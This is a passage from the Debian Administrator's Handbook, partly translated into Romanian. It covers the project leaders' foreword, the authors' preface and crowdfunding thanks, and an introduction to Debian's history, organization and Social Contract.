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Rezumat
O carte de referință despre distribuția Debian, de la instalarea inițială până la configurarea serviciilor.
Debian este un sistem de operare cu un mare succes, care și-a făcut locul în viețile noastre digitale, adeseori mai mult decât își imaginează sau știu oamenii. Câteva informații sunt suficiente pentru clarificare. La momentul scrierii acestei cărți, Debian este cea mai populară variantă GNU/Linux între serverele web: conform W3Techs, peste 10% din internet este motorizat de Debian. Gândiți-vă: câte pagini de internet v-ar fi lipsit astăzi fără Debian? Trecând la implementări mai fascinante, Debian este sistemul de operare ales pe Stația Spațială Internațională. Ați urmărit munca astronauților SSI, poate prin prezența NASA în rețelele sociale, ori a altor organizații internaționale? Atât munca în sine, cât și postările despre aceasta au fost posibile cu ajutorul Debian. Nenumărate companii, universități și administrații publice se bazează zilnic pe Debian pentru operațiunile lor, oferind servicii către milioane de utilizatori de pe glob... și orbita acestuia!
Dar Debian este mult mai mult decât un sistem de operare, indiferent cât de complex, complet și de încredere poate fi un sistem. Debian este o viziune a libertății de care oamenii ar trebui să se bucure într-o lume în care tot mai multe activități zilnice depind de software. Debian s-a născut din ideea fundamentală a Software-ului Liber, și anume aceea că oamenii ar trebui să fie în controlul propriilor calculatoare, nu invers. Oamenii cu suficiente cunoștințe software ar trebui să poată dezasambla, modifica, reasambla și partaja cu alții tot software-ul care contează pentru ei. Nu contează dacă software-ul este folosit în activități neserioase, precum postarea de poze cu pisoi pe internet, sau pentru sarcini care pot periclita viața, precum condusul mașinilor și motorizarea dispozitivelor medicale care ne vindecă - iar Debian este folosit în toate aceste scenarii; ideea e că voi ar trebui să fiți în control. Oamenii cu cunoștințe profunde în software ar trebui de asemenea să se bucure de aceste libertăți: ar trebui să poată delega sarcini unor oameni aleși special, în care au încredere, să le facă auditul și modificările dispozitivelor bazate pe software.
În căutarea controlului oamenilor asupra mașinilor, sistemele de operare libere joacă un rol fundamental: nu poți fi în deplin control al unul calculator dacă nu-i poți controla sistemul de operare. De-aici vine principala ambiție Debian: producerea celui mai bun sistem de operare, în întregime liber. Timp de peste 20 de ani, Debian nu numai că a dezvoltat un sistem de operare liber, dar a și promovat o viziune a software-ului liber în jurul acestuia. Procedând astfel, Debian a stabilit un standard înalt pentru avocații libertății software din jurul lumii. Deciziile Debian pe teme de licențiere software, de exemplu, sunt urmărite cu regularitate de organizații internaționale de standardizare, guverne și alte proiecte de software liber, atunci când decidem dacă ceva ar trebui să fie considerat, sau nu, „suficient de liber”.
Însă această viziune politică încă nu este suficientă pentru a explica unicitatea Debian. Debian este și un experiment social neobișnuit, puternic atașat de independența sa. Gândiți-vă puțin la alte distribuții majore de software liber sau chiar la sisteme de operare populare, proprietărești. Sunt șanse să le puteți asocia unei mari companii care reprezintă fie principala forță de dezvoltare din spatele proiectului, fie cel puțin administratorii tuturor activităților non-dezvoltare. Debian este diferit. În cadrul Proiectului Debian, voluntarii își asumă responsabilitățile tuturor activităților necesare pentru supraviețuirea Debian. Varietatea acestor activități este uluitoare: de la traduceri la administrare de sistem, de la marketing la management, de la organizarea de conferințe la designul de grafică, de la contabilitate la aspecte legale... ca să nu spunem și de împachetarea și dezvoltarea software! Contribuitorii Debian au grijă de toate acestea.
Prima consecință a acestei forme radicale de independență este aceea că Debian are nevoie și se bazează pe o comunitate foarte diversă de voluntari. Oricare abilitate în domeniile de mai sus, ori altele pe care vi le puteți imagina, poate fi investită în Debian și va fi folosită pentru îmbunătățirea proiectului. A doua consecință a independenței Debian este aceea că pe alegerile Debian se poate conta să nu reprezinte interese comerciale ale anumitor companii - interese pentru care nu avem garanții că vor fi întotdeauna aliniate țelurilor de promovare a controlului oamenilor asupra mașinilor, precum confirmă tot mai multe exemple recente de știri din tehnologie.
One last aspect contributes to Debian's uniqueness: the way in which the social experiment is run. Despite the folklore of being bureaucratic, decision making in Debian is in fact highly distributed. There exist clearly defined areas of responsibility within the project. People in charge of those areas are free to drive their own boat. As long as they keep up with the quality requirements agreed upon by the community, no one can tell them what to do or how to do their job. If you want to have a say on how something is done in Debian, you need to put yourself on the line and be ready to take the job on your shoulders. This peculiar form of meritocracy — which we sometimes call do-ocracy — is very empowering for contributors. Anyone with enough skills, time, and motivation can have a real impact on the direction the project is taking. This is testified by a population of about 1 000 official members of the Debian Project, and several thousands of contributors world-wide. It is no wonder that Debian is often credited as the largest community-driven Free Software project in existence.
So Debian is quite unique. Are we the only ones noticing this? Definitely not. According to DistroWatch there are about 300 active Free Software distributions around. Half of that (about 140) are Debian derivatives. That means that they start from Debian, adapt it to fit the needs of their users — usually by adding, modifying, and rebuilding packages — and release the resulting product. In essence, derivatives apply the Free Software granted freedoms of modifying and redistributing copies not only to individual pieces of software, but to a distribution as a whole. The potential of reaching out to new Free Software users and contributors by the means of derivative distributions is huge. We believe that it is mainly thanks to that thriving ecosystem that Free Software is nowadays finally rivaling with proprietary software in fields which were historically considered hard to conquer, such as large desktop deployments. Debian sits at the root of the largest ecosystem of Free Software distributions in existence: even if you are not using Debian directly, and even if your distributor has not told you, chances are that you are benefiting right now from the work of the Debian community.
But Debian's uniqueness sometimes comes with unexpected consequences. A consequence of Debian's vision on digital freedoms has been the need of redefining what we mean by software. The Debian Project has since long realized that, as part of an operating system, you need to distribute a lot of non-software material: music, images, documentation, raw data, firmware, etc. But how do you apply software freedoms to that material? Should we have different requirements or should all material be held up to the same high standard of freedom? The Debian Project has decided for the latter: all material shipped as part of Debian should offer the same freedoms to its users. Such a radical philosophical position has far reaching effects. It means we cannot distribute non-free firmware, or artwork not meant to be used in commercial settings, or books that cannot be modified in order to avoid tarnishing (as book publishers folklore goes) the author's/publisher's reputation.
The book you have in your hands is different. It's a free as in freedom book, a book which is up to Debian freedom standards for every aspect of your digital life. For a very long time, the scarce availability of books like this one has been a significant shortcoming of Debian. It meant that there was little reading material that helped to spread Debian and its values, while at the same time embodying those values and showing off their advantages. But it also meant, ironically, that we had little such material that we could distribute as part of Debian itself. This is the first reputable book to address this shortcoming. You can apt install this book, you can redistribute it, you can fork this book or, better, submit bug reports and patches for it, so that others in the future can benefit from your contributions. The “maintainers” of this book — who are also its authors — are longstanding members of the Debian Project, who grok the freedom ethos that permeates every aspect of Debian and know first-hand what it means to take on the responsibility for important parts of Debian. By releasing this Free book they are doing, once more, such a wonderful service to the Debian community.
We hope you will enjoy this cornerstone of Debian reading Freedom as much as we did.
October 2015
Stefano Zacchiroli (Debian Project Leader 2010-2013), Lucas Nussbaum (Debian Project Leader 2013-2015) and Neil McGovern (Debian Project Leader 2015-incumbent)
Linux has been garnering strength for a number of years now, and its growing popularity drives more and more users to make the jump. The first step on that path is to pick a distribution. This is an important decision, because each distribution has its own peculiarities, and future migration costs can be avoided if the right choice is made from the start.
ÎNAPOI LA BAZE Distribuție Linux, nucleu Linux
Strictly speaking, Linux is only a kernel, the core piece of software which sits between the hardware and the applications.
A “Linux distribution” is a full operating system; it usually includes the Linux kernel, an installer program, and most importantly applications and other software required to turn a computer into a tool that is actually useful.
Debian GNU/Linux is a “generic” Linux distribution that fits most users. The purpose of this book is to show its many aspects so that you can make an informed decision when choosing.
CULTURĂ Distribuții comerciale
Majoritatea distribuțiilor Linux sunt susținute de o companie comercială care le dezvoltă și vinde ca parte a une strategii de piață. Exemple includ Ubuntu, în special dezvoltat de Canonical Ltd.; Mandriva linux, de compania franceză Mandriva SA; și Suse Linux, întreținută și pusă la dispoziție in mod comercial de către Novell.
At the other end of the spectrum lie the likes of Debian and the Apache Software Foundation (which hosts the development for the Apache web server). Debian is above all a project in the Free Software world, implemented by volunteers working together through the Internet. While some of them do work on Debian as part of their paid job in various companies, the project as a whole is not attached to any company in particular, nor does any one company have a greater say in the project's affairs than what purely volunteer contributors have.
Linux has gathered a fair amount of media coverage over the years; it mostly benefits the distributions supported by a real marketing department — in other words, company-backed distributions (Ubuntu, Red Hat, SUSE, Mandriva, and so on). But Debian is far from being a marginal distribution; multiple studies have shown over the years that it is widely used both on servers and on desktops. This is particularly true among webservers where Debian is the leading Linux distribution.
The purpose of this book is to help you discover this distribution. We hope to share the experience that we have gathered since we joined the project as developers and contributors in 1998 (Raphaël) and 2000 (Roland). With any luck, our enthusiasm will be communicative, and maybe you will join us sometime…
The first edition of this book (in 2004) served to fill a gaping hole: it was the first French-language book that focused exclusively on Debian. At that time, many other books were written on the topic both for French-speaking and English-speaking readers. Unfortunately almost none of them got updated, and over the years the situation slipped back to one where there were very few good books on Debian. We hope that this book, which has started a new life with its translation into English (and several translations from English into various other languages), will fill this gap and help many users.
Am încercat să facem această carte utilă pentru mai multe categorii de cititori. În primul rând, administratorii de sistem (atât începători cât și experimentați) vor găsi explicații despre instalarea și configurarea Debian pe mai multe calculatoare. Ei vor înțelege de asemenea și majoritatea serviciilor disponibile în Debian, împreună cu instrucțiuni potrivite de configurareși descrieri ale particularităților distribuției. Înțelegerea mecanismelor utilizate în dezvoltarea Debian îi va ajuta în confruntări cu probleme neprevăzute, știind și că pot oricând găsi ajutor în cadrul comunității.
Utilizatorii unei alte distribuții Linux, sau altă variantă de Unix, vor descoperi particularitățile Debian, și ar trebui să devină operativi foarte repede, beneficiind de avantajele unice ale acestei distribuții.
În sfârșit, cititorii care deja au cunoștințe despre Debian și vor să cunoască mai multe despre comunitatea din spatele acestuia, ar trebui să își vadă satisfăcute așteptările. Această carte ar trebui să îi aducă mult mai aproape de aderarea la proiect ca și contribuitori.
Toată documentația generică pe care o veți găsi despre GNU/Linux se aplică în Debian de asemenea, de moment ce Debian include cele mai comune programe libere. Totuși, această distribuție aduce multe îmbunătățiri, motiv pentru care vom descrie cu prioritate „modul Debian” de a face lucrurile.
Este interesantă urmărirea recomandărilor Debian, dar înțelegerea rațiunii din spatele acestora este și mai importantă. De aceea, nu ne vom limita numai la explicații practice; vom descrie de asemenea și modul de funcționare al proiectului, pentru a vă oferi cunoștințe cât mai cuprinzătoare și consistente.
This book has its origins in French publisher Eyrolles' “Administrator's Handbook” collection, and keeps the same approach of revolving around a case study providing both support and illustration for all topics being addressed.
NOTĂ Sit web, adresa de email a autorului
Această carte are propriul său sit, care găzduiește orice element ar putea să-i crească utilitatea. În particular, acesta include o versiune online a cărții cu legături accesibile la clic, și o posibilă erată. Simțiți-vă liberi să îl răsfoiți și să ne lăsați imrpesiile voastre. Vă vom citit bucuroși comentariile sau mesajele de susținere. Trimiteți-le prin email la
<hertzog@debian.org>
(Raphaël) și<lolando@debian.org>
(Roland).
Chapter 1 focuses on a non-technical presentation of the Debian project and describes its goals and organization. These aspects are important because they define a general framework that other chapters will complete with more concrete information.
Chapters 2 and 3 provide a broad outline of the case study. At this point, novice readers can take the time to read appendix B, where they will find a short remedial course explaining a number of basic computing notions, as well as concepts inherent to any Unix system.
To get on with our real subject matter, we will quite naturally start with the installation process (chapter 4); chapters 5 and 6 will unveil basic tools that any Debian administrator will use, such as those of the APT family, which is largely responsible for the distribution's excellent reputation. These chapters are in no way restricted to professionals, since everyone is their own administrator at home.
Capitolul 7 va fi o paranteză importantă; acesta descrie moduri de lucru pentru utilizarea eficientă a documentației și pentru înțelegerea rapidă a problemelor, în vederea soluționării lor.
The next chapters will be a more detailed tour of the system, starting with basic infrastructure and services (chapters 8 to 10) and going progressively up the stack to reach the user applications in chapter 13. Chapter 12 deals with more advanced subjects that will most directly concern administrators of large sets of computers (including servers), while chapter 14 is a brief introduction to the wider subject of computer security and gives a few keys to avoid most problems.
Capitolul 15 este dedicat adminstratorilor care vor să se implice mai departe și să creeze propriile pachete pentru Debian.
VOCABULAR pachet Debian
A Debian package is an archive containing all the files required to install a piece of software. It is generally a file with a
.deb
extension, and it can be handled with the dpkg command. Also called a binary package, it contains files that can be directly used (such as programs or documentation). On the other hand, a source package contains the source code for the software and the instructions required for building the binary package.
The present version is already the seventh edition of the book (we include the first four that were only available in French). This edition covers version 8 of Debian, code-named Jessie. Among the changes, Debian now sports two new architectures — arm64 for 64-bit ARM processors, and ppc64el for little-endian 64-bit PowerPC processors (designed by IBM and licensed to various manufacturers via the OpenPOWER foundation). On the opposite side, some architectures have been dropped (sparc, ia64) due to lack of volunteers to keep up with development (which itself can be explained by the fact that associated hardware is getting old and less interesting to work on). Some architectures are still available (in the Unstable distribution) but did not get their ready for release stamp: hurd-i386, kfreebsd-i386, kfreebsd-amd64. All included packages have obviously been updated, including the GNOME desktop, which is now in its version 3.14. More interestingly, there are two new alternative desktops that are available: Cinnamon (fork of GNOME's Shell created by and for Linux Mint) and MATE (continuation of the GNOME 2.x desktop).
We have added some notes and remarks in sidebars. They have a variety of roles: they can draw attention to a difficult point, complete a notion of the case study, define some terms, or serve as reminders. Here is a list of the most common of these sidebars:
In 2003, Nat Makarévitch contacted Raphaël because he wanted to publish a book on Debian in the Cahier de l'Admin (Admin's Handbook) collection that he was managing for Eyrolles, a leading French editor of technical books. Raphaël immediately accepted to write it. The first edition came out on 14th October 2004 and was a huge success — it was sold out barely four months later.
Since then, we have released 6 other editions of the French book, one for each subsequent Debian release. Roland, who started working on the book as a proofreader, gradually became its co-author.
While we were obviously satisfied with the book's success, we always hoped that Eyrolles would convince an international editor to translate it into English. We had received numerous comments explaining how the book helped people to get started with Debian, and we were keen to have the book benefit more people in the same way.
Alas, no English-speaking editor that we contacted was willing to take the risk of translating and publishing the book. Not put off by this small setback, we negotiated with our French editor Eyrolles and got back the necessary rights to translate the book into English and publish it ourselves. Thanks to a successful crowdfunding campaign, we worked on the translation between December 2011 and May 2012. The “Debian Administrator's Handbook” was born and it was published under a free-software license!
While this was an important milestone, we already knew that the story would be not be over for us until we could contribute the French book as an official translation of the English book. This was not possible at that time because the French book was still distributed commercially under a non-free license by Eyrolles.
In 2013, the release of Debian 7 gave us a good opportunity to discuss a new contract with Eyrolles. We convinced them that a license more in line with the Debian values would contribute to the book's success. That wasn't an easy deal to make, and we agreed to setup another crowdfunding campaign to cover some of the costs and reduce the risks involved. The operation was again a huge success and in July 2013, we added a French translation to the Debian Administrator's Handbook.
We are back in 2011 and we just got the required rights to make an English translation of our French book. We are looking into ways to make this happen.
Translating a book of 450 pages is a considerable effort that requires several months of work. Self-employed people like us had to ensure a minimum income to mobilize the time necessary to complete the project. So we set up a crowdfunding campaign on Ulule and asked people to pledge money towards the project.
The campaign had two goals: raising €15,000 for the translation and completing a €25,000 liberation fund to get the resulting book published under a free license — that is, a license that fully follows the Debian Free Software Guidelines.
When the Ulule campaign ended, the first goal had been achieved with €24,345 raised. The liberation fund was not complete however, with only €14,935 raised. As initially announced, the liberation campaign continued independently from Ulule on the book's official website.
While we were busy translating the book, donations towards the liberation continued to flow in… And in April 2012, the liberation fund was completed. You can thus benefit from this book under the terms of a free license.
We would like to thank everybody who contributed to these fundraising campaigns, either by pledging some money or by passing the word around. We couldn't have done it without you.
We had the pleasure of getting significant contributions from many free software-friendly companies and organizations. Thank you to Code Lutin, École Ouverte Francophone, Evolix, Fantini Bakery, FSF France, Offensive Security (the company behind Kali Linux), Opensides, Proxmox Server Solutions Gmbh, SSIELL (Société Solidaire d'Informatique En Logiciels Libres), and Syminet.
We would also like to thank OMG! Ubuntu and April for their help in promoting the operation.
With over 650 supporters in the initial fundraising, and several hundred more in the continued liberation campaign, it is thanks to people like you that this project has been possible. Thank you!
We want to address our special thanks to those who contributed at least €35 (sometimes much more!) to the liberation fund. We are glad that there are so many people who share our values about freedom and yet recognize that we deserved a compensation for the work that we have put into this project.
So thank you Alain Coron, Alain Thabaud, Alan Milnes, Alastair Sherringham, Alban Dumerain, Alessio Spadaro, Alex King, Alexandre Dupas, Ambrose Andrews, Andre Klärner, Andreas Olsson, Andrej Ricnik, Andrew Alderwick, Anselm Lingnau, Antoine Emerit, Armin F. Gnosa, Avétis Kazarian, Bdale Garbee, Benoit Barthelet, Bernard Zijlstra, Carles Guadall Blancafort, Carlos Horowicz — Planisys S.A., Charles Brisset, Charlie Orford, Chris Sykes, Christian Bayle, Christian Leutloff, Christian Maier, Christian Perrier, Christophe Drevet, Christophe Schockaert (R3vLibre), Christopher Allan Webber, Colin Ameigh, Damien Dubédat, Dan Pettersson, Dave Lozier, David Bercot, David James, David Schmitt, David Tran Quang Ty, Elizabeth Young, Fabian Rodriguez, Ferenc Kiraly, Frédéric Perrenot — Intelligence Service 001, Fumihito Yoshida, Gian-Maria Daffré, Gilles Meier, Giorgio Cittadini, Héctor Orón Martínez, Henry, Herbert Kaminski, Hideki Yamane, Hoffmann Information Services GmbH, Holger Burkhardt, Horia Ardelean, Ivo Ugrina, Jan Dittberner, Jim Salter, Johannes Obermüller, Jonas Bofjäll, Jordi Fernandez Moledo, Jorg Willekens, Joshua, Kastrolis Imanta, Keisuke Nakao, Kévin Audebrand, Korbinian Preisler, Kristian Tizzard, Laurent Bruguière, Laurent Hamel, Leurent Sylvain, Loïc Revest, Luca Scarabello, Lukas Bai, Marc Singer, Marcelo Nicolas Manso, Marilyne et Thomas, Mark Janssen — Sig-I/O Automatisering, Mark Sheppard, Mark Symonds, Mathias Bocquet, Matteo Fulgheri, Michael Schaffner, Michele Baldessari, Mike Chaberski, Mike Linksvayer, Minh Ha Duong, Moreau Frédéric, Morphium, Nathael Pajani, Nathan Paul Simons, Nicholas Davidson, Nicola Chiapolini, Ole-Morten, Olivier Mondoloni, Paolo Innocenti, Pascal Cuoq, Patrick Camelin, Per Carlson, Philip Bolting, Philippe Gauthier, Philippe Teuwen, PJ King, Praveen Arimbrathodiyil (j4v4m4n), Ralf Zimmermann, Ray McCarthy, Rich, Rikard Westman, Robert Kosch, Sander Scheepens, Sébastien Picard, Stappers, Stavros Giannouris, Steve-David Marguet, T. Gerigk, Tanguy Ortolo, Thomas Hochstein, Thomas Müller, Thomas Pierson, Tigran Zakoyan, Tobias Gruetzmacher, Tournier Simon, Trans-IP Internet Services, Viktor Ekmark, Vincent Demeester, Vincent van Adrighem, Volker Schlecht, Werner Kuballa, Xavier Neys, and Yazid Cassam Sulliman.
After the publication of the English book under a free software licence, we were in a weird situation with a free book which is a translation of a non-free book (since it was still distributed commercially under a non-free license by Eyrolles).
We knew that fixing this would require us to convince Eyrolles that a free license would contribute to the book's success. The opportunity came to us in 2013 when we had to discuss a new contract to update the book for Debian 7. Since freeing a book often has a significant impact on its sales, as a compromise, we agreed to setup a crowdfunding campaign to offset some of the risks involved and to contribute to the publication costs of a new edition. The campaign was again hosted on Ulule:
The target was at €15,000 in 30 days. It took us less than a week to reach it, and at the end we got a whopping €25,518 from 721 supporters.
We had significant contributions from free software-friendly companies and organizations. Let us thank the LinuxFr.org website, Korben, Addventure, Eco-Cystèmes, ELOL SARL, and Linuvers. Many thanks to LinuxFr and Korben, they considerably helped to spread the news.
The operation has been a huge success because hundreds of people share our values of freedom and put their money to back it up! Thank you for this.
Special thanks to those who opted to give 25€ more than the value of their reward. Your faith in this project is highly appreciated. Thank you Adrien Guionie, Adrien Ollier, Adrien Roger, Agileo Automation, Alban Duval, Alex Viala, Alexandre Dupas, Alexandre Roman, Alexis Bienvenüe, Anthony Renoux, Aurélien Beaujean, Baptiste Darthenay, Basile Deplante, Benjamin Cama, Benjamin Guillaume, Benoit Duchene, Benoît Sibaud, Bornet, Brett Ellis, Brice Sevat, Bruno Le Goff, Bruno Marmier, Cédric Briner, Cédric Charlet, Cédrik Bernard, Celia Redondo, Cengiz Ünlü, Charles Flèche, Christian Bayle, Christophe Antoine, Christophe Bliard, Christophe Carré, Christophe De Saint Leger, Christophe Perrot, Christophe Robert, Christophe Schockaert, Damien Escoffier, David Dellier, David Trolle, Davy Hubert, Decio Valeri, Denis Marcq, Denis Soriano, Didier Hénaux, Dirk Linnerkamp, Edouard Postel, Eric Coquard, Eric Lemesre, Eric Parthuisot, Eric Vernichon, Érik Le Blanc, Fabian Culot, Fabien Givors, Florent Bories, Florent Machen, Florestan Fournier, Florian Dumas, François Ducrocq, Francois Lepoittevin, François-Régis Vuillemin, Frédéric Boiteux, Frédéric Guélen, Frédéric Keigler, Frédéric Lietart, Gabriel Moreau, Gian-Maria Daffré, Grégory Lèche, Grégory Valentin, Guillaume Boulaton, Guillaume Chevillot, Guillaume Delvit, Guillaume Michon, Hervé Guimbretiere, Iván Alemán, Jacques Bompas, Jannine Koch, Jean-Baptiste Roulier, Jean-Christophe Becquet, Jean-François Bilger, Jean-Michel Grare, Jean-Sébastien Lebacq, Jérôme Ballot, Jerome Pellois, Johan Roussel, Jonathan Gallon, Joris Dedieu, Julien Gilles, Julien Groselle, Kevin Messer, Laurent Espitallier, Laurent Fuentes, Le Goût Du Libre, Ludovic Poux, Marc Gasnot, Marc Verprat, Marc-Henri Primault, Martin Bourdoiseau, Mathieu Chapounet, Mathieu Emering, Matthieu Joly, Melvyn Leroy, Michel Casabona, Michel Kapel, Mickael Tonneau, Mikaël Marcaud, Nicolas Bertaina, Nicolas Bonnet, Nicolas Dandrimont, Nicolas Dick, Nicolas Hicher, Nicolas Karolak, Nicolas Schont, Olivier Gosset, Olivier Langella, Patrick Francelle, Patrick Nomblot, Philippe Gaillard, Philippe Le Naour, Philippe Martin, Philippe Moniez, Philippe Teuwen, Pierre Brun, Pierre Gambarotto, Pierre-Dominique Perrier, Quentin Fait, Raphaël Enrici — Root 42, Rémi Vanicat, Rhydwen Volsik, RyXéo SARL, Samuel Boulier, Sandrine D'hooge, Sébasiten Piguet, Sébastien Bollingh, Sébastien Kalt, Sébastien Lardière, Sébastien Poher, Sébastien Prosper, Sébastien Raison, Simon Folco, Société Téïcée, Stéphane Leibovitsch, Stéphane Paillet, Steve-David Marguet, Sylvain Desveaux, Tamatoa Davio, Thibault Taillandier, Thibaut Girka, Thibaut Poullain, Thierry Jaouen, Thomas Etcheverria, Thomas Vidal, Thomas Vincent, Vincent Avez, Vincent Merlet, Xavier Alt, Xavier Bensemhoun, Xavier Devlamynck, Xavier Guillot, Xavier Jacquelin, Xavier Neys, Yannick Britis, Yannick Guérin, and Yves Martin.
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Before diving right into the technology, let us have a look at what the Debian Project is, its objectives, its means, and its operations.
CULTURE Origin of the Debian name
Look no further: Debian is not an acronym. This name is, in reality, a contraction of two first names: that of Ian Murdock, and his girlfriend at the time, Debra. Debra + Ian = Debian.
Debian is a GNU/Linux distribution. We will discuss what a distribution is in further detail in Secțiune 1.5, „The Role of Distributions”, but for now, we will simply state that it is a complete operating system, including software and systems for installation and management, all based on the Linux kernel and free software (especially those from the GNU project).
When he created Debian, in 1993, under the leadership of the FSF, Ian Murdock had clear objectives, which he expressed in the Debian Manifesto. The free operating system that he sought would have to have two principal features. First, quality: Debian would be developed with the greatest care, to be worthy of the Linux kernel. It would also be a non-commercial distribution, sufficiently credible to compete with major commercial distributions. This double ambition would, in his eyes, only be achieved by opening the Debian development process just like that of Linux and the GNU project. Thus, peer review would continuously improve the product.
CULTURE GNU, the project of the FSF
The GNU project is a range of free software developed, or sponsored, by the Free Software Foundation (FSF), originated by its iconic leader, Dr. Richard M. Stallman. GNU is a recursive acronym, standing for “GNU is Not Unix”.
CULTURE Richard Stallman
FSF's founder and author of the GPL license, Richard M. Stallman (often referred to by his initials, RMS) is a charismatic leader of the Free Software movement. Due to his uncompromising positions, he's not unanimously admired, but his non-technical contributions to Free Software (in particular at the legal and philosophical level) are respected by everybody.
COMMUNITY Ian Murdock's journey
Ian Murdock, founder of the Debian project, was its first leader, from 1993 to 1996. After passing the baton to Bruce Perens, Ian took a less public role. He returned to working behind the scenes of the free software community, creating the Progeny company, with the intention of marketing a distribution derived from Debian. This venture was, sadly, a commercial failure, and development was abandoned. The company, after several years of scraping by, simply as a service provider, eventually filed for bankruptcy in April of 2007. Of the various projects initiated by Progeny, only discover still remains. It is an automatic hardware detection tool.
Debian, remaining true to its initial principles, has had so much success that, today, it has reached a tremendous size. The 12 architectures offered cover 10 hardware architectures and 2 kernels (Linux and FreeBSD, although the FreeBSD-based ports are not part of the set of officially supported architectures). Furthermore, with more than 21,000 source packages, the available software can meet almost any need that one could have, whether at home or in the enterprise.
The sheer size of the distribution can be inconvenient: it is really unreasonable to distribute 84 CD-ROMs to install a complete version on a standard PC… This is why Debian is increasingly considered as a “meta-distribution”, from which one extracts more specific distributions intended for a particular public: Debian-Desktop for traditional office use, Debian-Edu for education and pedagogical use in an academic environment, Debian-Med for medical applications, Debian-Junior for young children, etc. A more complete list of the subprojects can be found in the section dedicated to that purpose, see Secțiune 1.3.3.1, „Existing Debian Sub-Projects”.
These partial views of Debian are organized in a well-defined framework, thus guaranteeing hassle-free compatibility between the various “sub-distributions”. All of them follow the general planning for release of new versions. And since they build on the same foundations, they can be easily extended, completed, and personalized with applications available in the Debian repositories.
All the Debian tools operate in this direction: debian-cd has for a long time now allowed the creation of a set of CD-ROMs containing only a pre-selected set of packages; debian-installer is also a modular installer, easily adapted to special needs. APT will install packages from various origins, while guaranteeing the overall consistency of the system.
TOOL Creating a Debian CD-ROM
debian-cd creates ISO images of installation media (CD, DVD, Blu-Ray, etc.) ready for use. Any matter regarding this software is discussed (in English) on the
<debian-cd@lists.debian.org>
mailing list. The team is led by Steve McIntyre who is handling official Debian ISO builds.
BACK TO BASICS To each computer, its architecture
The term “architecture” indicates a type of computer (the most known include Mac or PC). Each architecture is differentiated primarily according to its processor, usually incompatible with other processors. These differences in hardware involve varying means of operation, thus requiring that software be compiled specifically for each architecture.
Most software available in Debian is written in portable programming languages: the same source code can be compiled for various architectures. In effect, an executable binary, always compiled for a specific architecture, will not usually function on the other architectures.
Recall that each program is created by writing source code; this source code is a text file composed of instructions in a given programming language. Before you can use the software, it is necessary to compile the source code, which means transforming the code into a binary (a series of machine instructions executable by the processor). Each programming language has a specific compiler to execute this operation (for example, gcc for the C programming language).
TOOL Installer
debian-installer is the name of the Debian installation program. Its modular design allows it to be used in a broad range of installation scenarios. The development work is coordinated on the
<debian-boot@lists.debian.org>
mailing list under the direction of Cyril Brulebois.
Debian follows all of the principles of Free Software, and its new versions are not released until they are ready. Developers are not forced by some set schedule to rush to meet an arbitrary deadline. People frequently complain of the long time between Debian's stable releases, but this caution also ensures Debian's legendary reliability: long months of testing are indeed necessary for the full distribution to receive the “stable” label.
Debian will not compromise on quality: all known critical bugs are resolved in any new version, even if this requires the initially forecast release date to be pushed back.
Legally speaking, Debian is a project managed by an American not-for-profit, volunteer association. The project has around a thousand Debian developers, but brings together a far greater number of contributors (translators, bug reporters, artists, casual developers, etc.).
To carry its mission to fruition, Debian has a large infrastructure, with many servers connected across the Internet, offered by many sponsors.
COMMUNITY Behind Debian, the SPI association, and local branches
Debian doesn't own any server in its own name, since it is only a project within the Software in the Public Interest association, and SPI manages the hardware and financial aspects (donations, purchase of hardware, etc.). While initially created specifically for the Debian project, this association now hosts other free software projects, especially the PostgreSQL database, Freedesktop.org (project for standardization of various parts of modern graphical desktop environments, such as GNOME and KDE), and the Libre Office office suite.
In addition to SPI, various local associations collaborate closely with Debian in order to generate funds for Debian, without centralizing everything in the USA: they are known as “Trusted Organizations” in the Debian jargon. This setup avoids prohibitive international transfer costs, and fits well with the decentralized nature of the project.
While the list of trusted organizations is rather short, there are many more Debian-related associations whose goal is to promote Debian: Debian France, Debian-ES, debian.ch, and others around the world. Do not hesitate to join your local association and support the project!
A few years after its initial launch, Debian formalized the principles that it should follow as a free software project. This deliberately activist decision allows orderly and peaceful growth by ensuring that all members progress in the same direction. To become a Debian developer, any candidate must confirm and prove their support and adherence to the principles established in the project's Foundation Documents.
The development process is constantly debated, but these Foundation Documents are widely and consensually supported, thus rarely change. The Debian constitution also offers other guarantees for their stability: a three-quarters qualified majority is required to approve any amendment.
The project also has a “social contract”. What place does such a text have in a project only intended for the development of an operating system? That is quite simple: Debian works for its users, and thus, by extension, for society. This contract summarizes the commitments that the project undertakes. Let us study them in greater detail:
This is Rule No. 1. Debian is and will remain composed entirely and exclusively of free software. Additionally, all software development within the Debian project, itself, will be free.
PERSPECTIVE Beyond software
The first version of the Debian Social Contract said “Debian Will Remain 100% Free Software”. The disappearance of this word (with the ratification of Version 1.1 of the contract in April of 2004) indicates the will to achieve freedom, not only in software, but also in the documentation and any other element that Debian wishes to provide within its operating system.
This change, which was only intended as editorial, has, in reality, had numerous consequences, especially with the removal of some problematic documentation. Furthermore, the increasing use of firmware in drivers poses problems: many are non-free, yet they are necessary for proper operation of the corresponding hardware.
Any improvement contributed by the Debian project to a work integrated in the distribution is sent back to the author of the work (called “upstream”). In general, Debian will cooperate with the community rather than work in isolation.
COMMUNITY Upstream author, or Debian developer?
The term “upstream author” means the author(s)/developer(s) of a work, those who write and develop it. On the other hand, a “Debian developer” uses an existing work to make it into a Debian package (the term “Debian maintainer” is better suited).
In practice, the distinction is often not as clear-cut. The Debian maintainer may write a patch, which benefits all users of the work. In general, Debian encourages those in charge of a package in Debian to get involved in “upstream” development as well (they become, then, contributors, without being confined to the role of simple users of a program).
Debian is not perfect, and, we will find new problems to fix every day. We will keep our entire bug report database open for public view at all times. Reports that people file on-line will promptly become visible to others.
This commitment is more difficult to define. Debian imposes, thus, a bias when a decision must be made, and will discard an easy solution for the developers that will jeopardize the user experience, opting for a more elegant solution, even if it is more difficult to implement. This means to take into account, as a priority, the interests of the users and free software.
Debian accepts and understands that users may want to use some non-free programs. That's why the project allows usage of parts of its infrastructure to distribute Debian packages of non-free software that can safely be redistributed.
COMMUNITY For or against the non-free section?
The commitment to maintain a structure to accommodate non-free software (i.e. the “non-free” section, see the sidebar VOCABULARY The
main
,contrib
andnon-free
archives) is frequently a subject of debate within the Debian community.Detractors argue that it turns people away from free software equivalents, and contradicts the principle of serving only the free software cause. Supporters flatly state that most of the non-free packages are “nearly free”, and held back by only one or two annoying restrictions (the most common being the prohibition against commercial usage of the software). By distributing these works in the non-free branch, we indirectly explain to the author that their creation would be better known and more widely used if they could be included in the main section. They are, thus, politely invited to alter their license to serve this purpose.
